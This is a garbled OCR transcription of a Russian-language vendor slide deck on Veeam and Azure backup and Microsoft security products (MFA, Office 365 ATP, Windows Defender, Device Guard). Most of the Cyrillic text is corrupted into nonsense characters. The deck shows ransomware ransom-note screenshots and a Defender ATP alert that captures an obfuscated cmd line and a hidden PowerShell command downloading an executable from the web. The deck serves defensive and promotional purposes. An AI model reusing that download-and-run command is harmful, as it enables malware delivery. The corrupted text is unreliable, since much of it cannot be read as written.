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Yoa4yHbl TaHOeM: Veeam + Azure -
ObICTPLIN N HageXXHbIN BackUp

OmnTpun MNMonakos

[eHepanbHbIn aAnpekTop CS IT



CoaepxaHme

* TpaauumoHHoe peleHne Azure Backup

« BosamoxHoct Veeam Backup and Replication
* [lpenmyLLectBa TaHAEMA
* ApXuUTEKTYpPa peLLeHnd

* BO3MOXHOCTM MPUObpeTerHns
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Azure Backup

MPOCTad M HafeXHaa Cykba apxmBaLmy B 061aKO

2= N . .
-5 il PAHWNNLLE PE3EPBHbIX KOMWM C TeOPErINKaLIMEN,

EIE JOCTYNHOCTL 99,9%

SbdeKTVBHbIE 1 TMOKME CyKObl ONepaTMBHOM
v apxVBaLMK, L0OaBOUYHOE PeE3epPBHOE KOMMPOBaHME

w3

HanexHad LeneBad cnMcreMa aBTOHOMHOM dpPXmBaunm.
BOBMCDKHOCH:MCHOﬂbBOBaFWW1KaKaﬂbTepHaTMBblMaFHMTHOM

JIEHTE

LIndpoBaHme AaHHbIX NPV Nepesade 1 Ha MecTe




Veeam Backup and Replication

NydLlee CpeacTBO A1 PE3EPBUPOBAHMSA BURTYa/bHbIX CPEA

\/ bbICTpOe BOCCTAHOBNEHME HYXXHBbIX AaHHbBIX YAOOHBIM CMOCOOOM

[ apaHTVMPOBaHHOE BOCCTAHOB/IEHME KaXA0ro Gamna, NpuIoXeH1s
M BUPTYaNbHOTO CepBepa

I:Q MOHWTOPWHT B peXMME PeaibHOrO BDEMEHM 1 yNpexXaaroLLee
l:|_,,| OMOBELLEHVE O MPobaemMax

@ Hu3kme nokasarten LeneBow Toukn BocctaHosneHms (RPO) m
ONTUMK3KMPOBAHHOE NOC/IEaBAPMINHOE BOCCTAHOB/IEHME




Microsoft + Veeam = ?

MPenMyLLIECTBA TaHAEMa

Bbicokas CKOpOCTb Nepesaun AaHHbIX 3a CYeT
ncnone3sosanHma WAN Accelerator

TecHasa MHTerpauya peLleHnin, NoaaepXKa
Ha YPOBHE BEHIOPOB

[TpocTas HacTpOViKa CO CTOPOHbI 3aKa3umKa

L L L L

[MBKME BO3MOXHOCTM NMPUobpeTeHs




ApXMTEKTYPa OBLIErO PEeLLeH s
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[IppnobpeTteHne

rmokme y10BMA IMUEH3MPOOBAHNA

, JIMLEeH3mpoBaHme Mo 3aliyLLaeMbIM
BUPTYaIbHbIM MalLHaM

Pa3BepTbiBaHWE PECYPCOB Mo Mepe

HEOBXOAMMOCTY dopMyna pacyera:
BO3MOXHOCTb BblIOOPa MeXY NMOCTOAHHbIMM crommocts - Jmtersi -, - Pecypebl
P A peLleHnd - Veeam Azure

/  JVLEH3VAMM U JMUEH3MAMM HA OCHOBE
MOAMMUCKM, @ TaK Xe coYeTaHne 0DomX
BAPWAHTOB




Co

NWHO®OPMALIMOHHAA BE3OINMACHOCTb

OmMmntpun NMongkos
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KAK 3ALMTNTE CBOW BM3HEC C MOMOLLBK PELWEHWMMN i%
MICROSOFT -

* MHuorodakropHaa nageHtnukayma (Multi-factor authentication - MFA) —
CepBMC, MO3BOAAOLWLMN BAOKNPOBATb AOCTYMN 310YMbILAEHHNKOB K
YyBCTBUTENbHbIM AaHHbIM OpraHm3auum nan busHec cmctemam, Aax<e B
Cy4ya NONyYeHMs IOTMHOB M Napoaen COTPYAHUKOB Ballen KOMMaHUW.

« Exchange ATP (Advanced Treat Protection) — aHann3npyeTt noutoBble
BNOXEHUA NN MHTEPHET-CCbINKN 1 CBOEBPEMEHHO pearnpyer Ha
BbISIBJIEHHbIE aTaky

« Co3zaHuve 6enbIx CNNCKOB NPUNOXKEHMUN C MOMOLLbIHO BCTPOEHHOIO
dyHkunoHana B Windows 10 Enterprise - Device Guard u AppLocker n

ap-.




be30nacHOCTb

3almuTa KOMNbIOTEepPoOB (PUHAHCOBbLIX

PAabOOTHUKOB
MHorodakTopHasa ayteHTndmkauma Microsoft Azure
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3a4yeM Hy>XHa MHOrogakTopHasa ayTeHTUPKMKaLmA?

BENECE

[NoBbiWweHne 6e30nacHOCTH
yAaJNEHHOro AOCTyna K pecypcam
KomMmnaHum

He ncnonb3oBaTtb TOKEHbI

CHuxxeHune Harpy3ku Ha UT/Cayxby
NOAAEPXKM Ha 0b6CayxXnBaHue v
NOAAEPXKKY peLleHnm no
yrnpaB/ieHUIO AOCTYNOM

ObecneuveHwve yaaneHHOro AocTyna
nosib30BaTeien K pecypcam
KOMMaHWM C pacTyLLero Yncnia
Pa3/INYHbIX YCTPOWNCTB

ObecneyeHne COOTBETCTBUSA
TpeboBaHWAM perynsaTopos

ObecrneyeHre egMHOro MexaHM3ma
ayTeHTUPUKaLNN ANA Pa3ANUYHbIX
nAaTGopM 1 NPUNOXKEHUI

Microsoft Azure MFA

PaboTaeT co Bcemu
CyLLEeCTBYHOLWNMN TeniebOHaMM, NO
BCEMY MUPY

[ononHntensHasa Bepndpukauma
YyYeTHbIX AaHHbIX NOJb30BaTeNeu

Obecneunsaet 100% 3awmty o1
yrpo3s, peanvsyemMbiX BpeJOHOCHbIM
Mo

BcTpoeHHasa noagepxka
MNOMNYASPHbIX MPUIOXKEHNIA

YnpoueHve ynpasaeHus
NoNb30BaTENAMN W
pa3BepTbiBaHMEM

Bbicoko-macwitabupyemblivi cepBuc

BbIrobl

* MMHMMM3aLMA PUCKOB yTEeUKM
MHGopMaLnm

» ObecneyeHne perynaTopHbIX
TpeboBaHWUN.

* YMeHbLUeHMe BpeMEHU pa3BepTbiBaHNA

» CokpalleHue 3aTpaT Ha 0bCcayXnBaHmne
N NOAAEPXKKY

* YBeNMYeHne NpoAyKTMBHOCTN BU3HeC-
rnoab3oBaTenen

* CyLLecTBeHHasa 3KOHOMUA MO
CPaBHEHMUIO C anmnapaTHbIMK
cpeacTBamMu AByXbaKTOPHOM
ayTeHTudurkaymm




BapuaHTbl peannsaumm

NoeHTudukaums

[MpnnoXxeHns U AaHHbIE

$9,

YctponcTtea

NpUNoXeHWa un AaHHbIe

2 s
o EXTIIIIIIN D ] Office 365
1 Iy 1 EXIIIIIITE Microsoft Azure
o EXIXITIITN o [EXIIITIITN I%
1 xS , ‘ 1 TS E O6nauHsie
» IXITTTIIYS . ]

> [EXIIIXIIXN

COTD}/;J, MK KOMMNaHWK
PrHaHCcoBbIe PaBOTHWKK

?

0

On-premises
MpunoxeHws u AaHHbIe

BapwaHTbl BTOpOro daktopa MoaktoueHne VHTerpaums

TenedoHHbIV 3BOHOK RADIUS HaTueHasa uHTerpaumsa
TekcToBOE COOBLLEHME LDAP ®yHKLMOHaN fOCTyNeH Ana 0b6a1auHbIX NPUAOXEHWI, Hanpumep, 0365
Server MFA
NokanbHoe nan obnayHoe pelueHne ans obecrneyeHns 6eonacHoro focryna Ans
Push yBeaomnerue RDS/VDI VPN wan npunoxenus, npegocrasnsemoro Microsoft nav apyrim BeHg0pom
SDK
[lo6aBneHne cepBrca MHOrodGakTOpHOW ayTeHTUdMKaLMKN K nponpmeTapHomy"
NpUAOXeHNto nan Beb-canTy yepes SDK .G.

MobunbHoe npunoxeHue 1S
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be3onacHOCTb
Kak 3alLMTUTLCA OT BMPYCOB-LUMPPOBAbLIMKOB
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PaclumperHas 3awpmra ot yrpo3 (Advanced Threat Protection, ATP)
ansa Exchange Server n Exchange Online

3allyTa OT HEM3BECTHOIO
BpeAOHOCHOro [10 1
BMPYCOB

* AHanns nosegeHusa Npu
MOMOLLY MAaLUVHHOTO
0byueHus

* OnoselleHunsn
aAMNHUCTPATOPOB

B>

3allimMTa BO BPEMA
MOMbITKW Mepexoaa
MO CCblIKaM

 3alwiuTa OT BPefOHOCHbIX
URL-aapecos B pexxnme
peasibHoro BpeMeHu

* Pactywas 6a3a URL-agpecos

b

LLInpokme BO3MOXHOCTH

CO34aHMA OTHETOB U

TPaCCMPOBKM

* BcTpoeHHble cpeacTsa
Tpaccuposku URL-aapecos

e OTyeTbl O CNOXKHbIX yrpo3ax




CS

ApXuTeKTypa Cy>0bl i

4

OtnpasuTesnb

Heckonbko GuabTPOB + 3 aHTUBUPYCHbIX

CEE— : :
aapa cnyxboel Exchange Online Protection

Cpepa ncnonHeHus
(«necouHmnya»)
NcnonHsembli dpann?
ObpalueHne K peectpy?
MNoBbliweHne npas?

[Mogo3puTtenbHoe
BIOXXEHMEe

NonyuaTesnb

Hebe3onacHo be3sonacHo

MNMepe3anucob "

6e30nacHbIX CCbINIOK



Safe Attachments (Be30MacHble BAOXEHMA) — UCMONb30BaHNE T

safe attachments

+75 Vv @R

ENABLED NAME

@ https://outlook.office365.com/ecp/SafeAttachment/EditSafeAttachmentPolicy.aspx?reqld=1427150972917&pw

Safe Attachment Policy - Block

»settings

Safe attachments unknown malware response

the action for unknown n are in attachme

Warning: Tt may ca nificant del mail delivery. Learn
more
Off - Attae ent will not be scanned are.
Monitor - C g the message after malware is
detected: track
he current and future emails and a

ed malware
Replace - Block the attachments with det nalware,
ontinue to deliver the message.
Redirect attachment on detes
Send the blocked or 1t to an email address
direct
chment to the following email address

admin@contosobankatp.onmicrosoft.com

@ Apply the above s ning for attachments

times out or err

Help
@Grrnssnnfunnnnunnnnnnnnn
t |
or
Jona::
INBOX CONVERSATIONS BY DATE ¥
All Unread Tome Flagged
.*
.
LAST WEEK &
IExchange Online Advanced Threat Protection < 8
ini ificati directing email with malware Sat 3/21
This message was created automatically by Exchange Online Advanced..
Postmaster
Undeliverable message sat3/21
This message was created automatically by mail delivery software. Your
Exchange Online Advanced Threat Protection < 8
Sat 3/21
Exchange Online Advanced Threat Protection < 8
Administrator Notification: Redirecting email with malware Fri 3/20
This message was created automatically by Exchange Online Advanced
Postmaster
Undeliverable message Fri 3/20
This message was created automatically by mail delivery software. Your
Exchange Online Advanced Threat Protection < ]
Administrator Notification: Redirecting email with malware Thu 3/19

ALMUHUCTPATOP
CO3Ja€eT MOANTUKY

.
.
.
*

-1 YBEAOMJIEHUNE, ECJIU

. — N—— —
“‘Aaministrator Notification: Redirecting email with malware

€ REPLY

Exchange Online Advanced Threat Protection <advanced-threat-protection@protection.outlook.com>

Sat 3/21/2 31PM

To: MOD Administrator;

Limited time offering fr...
112K8

v

This message was created automatically by Exchange Online Advanced Threat Protection service
Malware was detected in the email included with this message as an attachment
From:Jeremyc@contosobankatp.onmicrosoft.com
To:shobhits@contosobankatp.onmicrosoft.com

Subject:Limited time offering from Fabrikam

Date:3/21/2015 9:31:03 PM

The attached email or the attachment has not been delivered to the intended recipient(s). If it is opened, it might infect the computer with malware.

Please do not respond to this message, it is an unmonitored alias. For more information, please see http://go.microsoft.com/fwlink/?Linkid=526076.

Mons3osatens EOP
Hbe3 ATP
/

Mons3osatens EOP
c ATP

ALMUHUCTPATOP MOayYaeT

610KMpyeTCA coobleHme

€EFrer



Safe Links (be3onacHble CCbIIKM) — UCMONb30BaHME iT

safe attachments safe links

+ 75y E- L
ENABLED

v

v

NAME

Default

@ https://outlook.office365.com/ecp/Safelinks/EditSafeLinksPolicy.aspx?reqld=1427151033873&pwmcid=28&Re

safe link policy-for adm

» settings

applied to

n and Shobhit

Help

he action for unknown potentially malicious URLs in mi

off

® On - URLs will be rewritten and checked against a list of known

malicious links when user clicks on the link

¥ Do not track user clicks

¥ Do not allow users to click through tg original URL »

Do not rewrite the following URLs:

i ] Office 365

We recommend that yol

X Close this page.

B NI IO

ALMUHUCTPATOP
CO3/3eT NOANTUKY

o

A This website has been classified as malicious.

you close this web page and not continue to this website. Learn more about Malware

AHTMBMPYCHAA
iy

CEEEEEEEEE NN PE NN NN EEEEEEE D

CS

[lonb3oBatenu nosyyatror
yBEJOMJIEHWNE, eCU

B 3/IEKTPOHHOM COObLLEHMM
6blNa HaxaTta BpeLOHOCHas
CCblIKa

Beb-cepsepsl

NpoBepAKT NoCAeAHME
AaHHble o penyTaumn URL-
aapecos

MNonb3oBarens,
HaXUMaFrOLL A
Ha CCbINKY,

. nepeHanpasnfeTcs Ha
Beb-cepsepbl EOP ana

a npoBepkM NocneaHel
- g

nHdopmaLm,
Monb3osatens EOP Q

bnarofaps vemy
6e3 ATP I.I

BO3MOXHa 3alliTa

MpakKT1yeck BO Bpems
Haxarma

= [f]

MNepesanucs
URL-ccoinok Ans Monbsosarens EOP
nepexanpasneHs Cc ATP

Ha Beb-cepBep



Office 365 ATP noasoasa utor iT

3aLpmra ot BpeaoHocHbX URL-aapecos B
MOMEHT Mepexosa no CCblke
[NMpoeepka penytaumn URL-agpecos c

610KMpOBaHMEM 3arpy3ku NOAO3PUTE/bHbIX A This website has been classified as malicious.
BJIOXKEHUW.

G Office 365 Microsoft

3alLpTa OT Yrpo3 <HY/IEBOIO AHS», UCXOAALLMX
OT BPEZOHOCHbIX BJIOXEHMA

Bao>XxxeHusa ¢ HeEM3BECTHbIMU BUPYCHbIMA
CUrHaTypaMun HanpaBAAOTCA B 0CObyto
6e3omnacHyro cpeay, rae BbIMOJHAETCS
dHa/ln3 NxX noseaeHuns.




Pazsutne AIP

SharePoint

Yammer

Exchange

Skype for

Business

CS



be30nacHOCTb

Kak 3aLmnTUTECA OT TPOSAHOB-BbIMOrate ieil C MoMOLLbHD
Windows 10 KoprniopatrsHas
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TUTTbl RANSOMWARE
CRYPTO RANSOMWARE

LOCKER RANSOMWARE

Locker v1.7

Locker vi»

_rrf\

Y

Time remaining:

69:55:47

Information | Payment | Files Status

Al your personal files on this computer are locked and encrypted by Locker v1.7. The encr
been done by professional software and your files such as; photo’s, videos and cryptocourr
are not damaged but just not readable for now. You can find the complete list with all your
files in the files tab.

The encrypted files can only be unlocked by a unique 2048-bit RSA private key that is safe
our server till 5/28/ 2015 12:01:41 AM. If the key is not obtained before that moment it will
destroved and you will not be able to open your files ever again.

Obtaining vour unique private key is easy and can be done by clicking on the payment tab
small amount of 0.1 BTC to the wallet address that was created for you. If the payment is cc
decryption key will be send to your computer and the Locker software will automatically s
decrypting process. We have absolutely no interest in keeping vour files encrypted forever

You can still safely use your computer, no new files will be encrypted and no malware will
When the files are encrypted Locker v1.7 will automatically uninstall itself.

Warning any attempt to remove damage or even investigate the Locker software

will lead to immediate destruction of your private key on our server!

« BJIOKMPYET CUCTEMY
« OMIWMHIOBAA ATAKA
« OINJATA 11O BAYYHEPY

Private key will be destroyed on
3/5/2014
11:06 PM

Time left

45:49:01

.

Your personal files are encrypted!

Your important files encryption produced on this computer: photos, videos,
documents, etc. Here is a complete list of encrypted files, and you can personally verify
this.

Encryption was produced using a3 unique public key RSA-2048 generated for this
computer. To decrypt files you need to obtain the private key.

The single copy of the private key, which will allow you to decrypt the files, located
on a secret server on the Internet; the server wil destroy the key after a time
specified in this window. After that, nobody and never will be able to restore files...

To obtain the private key for this computer, which will automatically decrypt files, you
need to pay 300 USD / 300 EUR / simifar amount in another currency.

Click «Next» to select the method of payment.

Any attempt to remove or damage this software will lead to the immediate
destruction of the private key by server.

« SAULMNOPOBLIBAET ®ANbI
« NOAAEPXWBAET TOP
« ONJATA BUTKONHAMM




KAK 3AWLMTUTL CBOM BUIHEC C pe
MTOMOLULBIKO BCTPOEHHBIX CPEACTB B
WINDOWS 107

besonacHasa paborta B 6pay3zepe MS Edge ¢ Smart Screen u Windows
Defender Application Guard

Co3pgaHune benbix cnuckos npuaoxeHun ¢ Device Guard n AppLocker
O6nauHbiv aHTMBMpPYC Windows Defender

O61a4HbIV CEPBUC MO BbIABAEHUIO CAOXHbIX TAPreTMPOBaHHbIX YrPO3 Ha
knneHTckux MK — Windows Defender Advanced Threat Protection

Be3onacHoOCTb BAOXeHUM Ha nouTtoBbiX kKaneHTax — Office 365 ATP




MEPBbIV 3TAM 3ALATHI OT YIPO3

Microsoft SmartScreen — 3awyta 6pay3epa

> TexHonorva ounsTpaumm BpeaoHocHoro MO ans
Microsoft Edge v Internet Explorer 11 8 Windows 10

> bnokmpyet 97/% atak

3aLupra anektpoHHoM noutbl ¢ Office 365 ATP

> Pacwmpenne ana aHanmsa n GUasTpaLmm BAOXEHNN
SNEKTPOHHOM MOYTH

> TexHonornd Tpaccuposkk URL-aapecos nccneayet
MOTEHLMANIbHO OMacCHble CCbIKN,




Windows Defender Application Guard

N3onaums 6paysepa

Icnonb3yeTcsa 6e30macHOCTb Ha
OCHOBE BMPTYaAm3aumm and
n3onaumm Microsoft Edge, 3auimiias

Windows 10 OT cepbe3HbIx aTak, D e = .. .
BPEAOHOCHbIX MPOrpPaMm ¥ 9
MCMONb30BaHMA YA3BUMOCTEN, |t = =’ =
OPWEHTUPOBAHHLIX Ha bpay3ep,
BKJIKOYaA aTakn «HYy/1eBOro AHA». T e T ******** 1

TeM cambIM MCKAKOYas BAMAHME Ha
OMnepaLOHHYH CUCTEMY,
NPUNOXEHMS, JaHHbIE M CETU




L\ ¥ a R Windows 10 - Exciting Changes - Message (HTML)

Q Tell me what you want to do
4 @ > Control Panel > System and Security > Windows Firewall v O Search Control Panel

nith@outlook.com> Liz B 1 i 2 ;
0oK.C e T Help protect your PC with Windows Firewall

Windows 10 - Exciting Changes Windows Firewall can help prevent hackers or malicious software from gaining access to your PC
Allow an app or feature through the Internet or a network.
through Windows Firewall

Dear Liz! Change notification settings o For your security, some settings are managed by your system administrator.
Turn Windows Firewall on or
There have been exciting changes to the Windows 10 Action Center! off l Q Domain networks Not connected

Restore defaults

Visit http://blogs.windowz.com/windowsexperience/2016/09/12 /windows-10-tip-updates-to-the-action- R — l Q Private networks Not connected
center for additional info.

Troubleshoot my network

. o Guest or public networks Connected
Best regards,

John Smith, Networks in public places such as airports or coffee shops
Enterprise Security Analyst

sec.analyst.smith@outlook.com Windows Firewall state: On

Incoming connections: Block all connections to apps that are not on the
list of allowed apps

Security and Maintenance . . =
ty Active public networks: T Unidentified network
Network and Sharing Center .
Network 5

Ea Windows Defender
PC status: Protected

Your PC is being monitored and protected. Scan options:

® Quick
O Full

(O Custom
& Real-time protection: On

& Virus and spyware definitions:  Up to date Scan now

q Scan details
Last scan: Today at 2:37 AM (Quick scan)

A D W F E R




L ¥ a R Windows 10 - Exciting Changes - Message (HTML)

Message Q Tell me what you want to do

th@outloo

Windows 10 - Exciting Changes

#8 Windows 10 Tip: Updatr X =

- O |B

windows.com

m WVindows

WINDOWS 10 DEVICES WINDOWS DEVELOPER MICROSOFT EDGE DEVELOPER

WINDOWS INSIDER PROGRAM THIS WEEK ON WINDOWS WINDOWS 10 TIPS WINDOWS STORE

SEPTEMBER 12, 2016 10:10 AM

Windows 10 Tip: Updates to the action
center

By Elana Pidgeon / Junior Editor, Windows Blog

£ SHARE W TWEET <5 SHARE in SHARE © SKYPE
Did you know that you have an action center that lets you monitor and

interact with notifications and settings? And did you also know that it
recently got an upgrade with the Windows 10 Anniversary Update?

Here’s what's new with the action center:

XBOX PLAY ANYWHERE

¥  Translate with b» bing

Q Search ...

RELATED POSTS

This Week on Windows:
Halo 5, a Solitaire
milestone and more
Read more

Drive to the Music You
Love in Forza Horizon 3
with Groove
Read more

A Whole New World for
Halo 5 Begins Now
Read more

4 @ > Control Panel > System and Security > Windows Firewall v O Search Control Panel

Control Panel Home

Allow an app or feature
through Windows Firewall

Change notification settings

Turn Windows Firewall on or
off

Restore defaults
Advanced settings

Troubleshoot my network

Security and Maintenance

Network and Sharing Center

Help protect your PC with Windows Firewall

Windows Firewall can help prevent hackers or malicious software from gaining access to your PC
through the Internet or a network.

o For your security, some settings are managed by your system administrator.

l 9 Domain networks
l Q Private networks

. o Guest or public networks

Networks in public places such as airports or coffee shops

Not connected

Not connected

Connected

Windows Firewall state: On

Incoming connections: Block all connections to apps that are not on the

list of allowed apps

Active public networks: Unidentified network

Network 5

Ea Windows Defender

PC status: Protected

Your PC is being monitored and protected.

& Real-time protection:

Scan options:

® Quick
O Full

(O Custom
On

& Virus and spyware definitions:  Up to date Scan now

Scan details

Last scan: Today at 2:37 AM (Quick scan)

A D W F E R



DEVICE GUARD

AnnapaTtHbI KOHTPOb MPUIOXKEHNY

[TporpaMMHO-annapaTHbIY KOMMAEKC, KOTOPbIM
no3BoAaseT Ha HacToabHOM K ¢ Windows 3anyck
TO/IbKO AOBEPEHHbIX MPUIOXKEHUN, T.€. OHU AOIKHbI
6bITb NoanmcaHbl Microsoft

HesnoBepeHHble MPUAOXKEHUA N NCMTONHSAEMbIE daibl,
BKJIFOUasa BpeaoHOocHOoe [0, He ByayT 3anycKaTbCs
Aa>ke rnoJ npaBamMm IOKaIbHOro agMUHMCTPATOPa

Device Guard no3sonset NT-otaeny onpeaenartb
HaAeXHbIX NocTaBwmkoB 1O 1 NpNUAoOXeHMsa B CBOEN
cpepe. NT-otaen MmoxeT yCTaHOBWUTL B KayecTBe
AOBEPEHHOrO NOAXOAAWMN HABOP NPUAOXKEHNN AN
OpraHusaumu, BKJIKOUMB B HEro
BHYTPMKOPMNOPATUBHbIE BU3HEC-NPUIOXKEHNS,
npunoxeHna MarasmHa Windows nam nporpaMmmel
KOHKPETHbIX NOCTaBLLMKOB.

ObecneumBaet
CaMyto
COBEPLUEHHYIO Ha
CerogHALWHUN
A€Hb 3aLUTYy OT
BPpeAOHOCHbIX
nporpamMm A
naatpopmsl
Windows



SALLNTHAK WINDOWS - WINDOWS DEFENDER

AHTVNBUPYCHAA SALWLNTA

3awmTa, NpeBoOCXoaAL,an aHaiorm

[ona obHapy>xxerusa 98,1 % (tect AV Comparatives: cpaBHeHwWe C rnaBHbIMU
KOHKypeHTamu, mapt 2016 T.).

O6Hapy>xeHune BpegoHocHoro MO Ha ocHOBe aHanM3a

NnoBeAeHNA C UCNOJIb30BaHNEM 061auHbIX BO3MOXXHOCTEN
Mo3BosiseT obHapy>KMBaTb HbICTPO MEHSAOLWMECS Pa3HOBUAHOCTN BPELOHOCHOTO
MO ¢ NOMOLLbHO MOHUTOPWHTa NOBEeAEHUA 1 061aUHON 3aLLMUTbI, YCKOPAOLLEN
[LOCTaBKy CUTHaTyp

3awmTa ot B3/10Ma
[JoBepeHHas 3arpy3ka Windows n nsonsaumsa naatdopmbl NO3BOASAOT
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WINDOWS DEFENDER ADVANCED THREAT PROTECTION i

o AreHT BcTpoeH B Windows 10 1607 :
__F<:>_ He TpebyeTca gononHUTeNbHOE pa3BepTbiBaHME N N3MEHEHNE MHDPACTPYKTYpPbI. z [P [ mermmimpmat 5
15}
: & ATP alerts
» nee
¥ 8 12 dan | @ oo

O6nauHoe obHapy>keHMe yA3BMMOCTe Ha OCHOBE aHa/n3a 8 -

Q noeeAeHus : “
ou . comauen | 2 ATP alert tends ) ATP alerts mapping 30 day

OI'IOBeIJ.I,eHI/IFI 06 V3BECTHbIX N HEU3BECTHbIX yrpos3ax, COOTHeCEHHbIE C Pa3NINYHbIMN
q>a|<Topa|v||/|. OI'IepaTI/IBHbIe N NCTopnyeckme gaHHble.

— PaccnepgoBaHue Ha 601bLLIOM BPEMEHHOM OTpe3ke 0 sy v o | i nn | @ s

= HarnsaHoe npeacraBneHne o Macwitabe ysa3BMMOCTW. e | S
+ CBOAKM JaHHbIX NO Pa3/IMUYHbIM KOHEUHbIM TOYKaM. oL '§|||}||||I|H| l | |H S
MoapobHas aHanutuka dannos n URL-agpecos.
A 11.28.2016
YHuKanbHana 6a3a 3HaHMW aHaNUTH KW yrpos s L T
| ‘ | OTC‘" €XunBaHue yr p03 An A non yLI €HnA CB epIe HWK O 01:00:57 I £ Suspicious Powershell commandline 21d5224e20adbe7i303abbcAb9f219d0d70904ee ®
! l | l | 3 oyM bILLI€HHWKaX. 0100557 £ cmd.exe created process  powershell.exe :h:VII‘ZZJORD'EXE PEEREEIE o fc)
CobCTBEHHbIE U CTOPOHHME aHANNTUYECKME JaHHble MO Yrpo3am.
@ 'WINWORD.EXE
WINWORD.EXE
> 5@:’3 (:j::;sebﬂ6919bh47M89135dA8931100ba70(
cmd.exe kb CAWindows\SysWOWsB4\cmd.exe
emd.exe /c cd %APPDATAY @sdasdboxasdasdb asdasdbexasdasdboxasda
dbx xa
b sdasdb X3
dasdbcxasdasdbc ...
> é’\ég po;::s;:&‘l‘;falsbe?BGSabEMbQQ19dﬂd7090459
powershellexe b € hellv1
powershell -ExecutionPalicy bypass -noprofile -windowstyle hidden (New-Object System.NetWebClient).DownloadFile
( e host: ", "C\Usersy, \AppData\Local\Temp\hjtudhbj67.exe’): cd C:\Users\




PE3IOMUPYA iT

KAK BAWLLVUTUTbL CBOW BU3HEC

MHorodaktopHasa uaeHtupunkaumua (Multi-factor authentication - MFA) — cepBuc, no3BoaaroLW M
610KMpOBaTh AOCTYN 3/10YMbILWAEHHWNKOB K YyBCTBUTE/NIbHLIM AaHHbIM OpraHm3aumnm nam bmusHec
CUCTEMAM, AaXKe B Cay4vae NoJyyYeHUs NOTMHOB M Napoaen COTPYAHMKOB BalLen KOMMaHUM.,

Exchange ATP (Advanced Treat Protection) — aHann3npyet NoYTOBbIE BAOXKEHUA NN NHTEPHET-
CCbIJIKW 1 CBOEBPEMEHHO pearvpyeT Ha BbIABNEHHbIE aTaky

cnonb3oBaHme BCTPOEHHOro pyHkumoHana 6esonacHoctn B Windows 10 Enterprise
« be3onacHasa pabota B 6payzepe MS Edge ¢ Smart Screen u Windows Defender Application Guard
« Co3pgaHue benbix cnuckoB npunoxeHun ¢ Device Guard u AppLocker
« O6nauHbin aHTMBUpPYC Windows Defender

* O6nayHbIV CEPBUC MO BbIABAEHNIO CNIOXHbIX TApreTMpoBaHHbIX yrpo3 Ha kaneHTckmx MK — Windows
Defender Advanced Threat Protection




- @ Microsoft

Co

BaLin BonpockI? o

[m] iz [m]
S




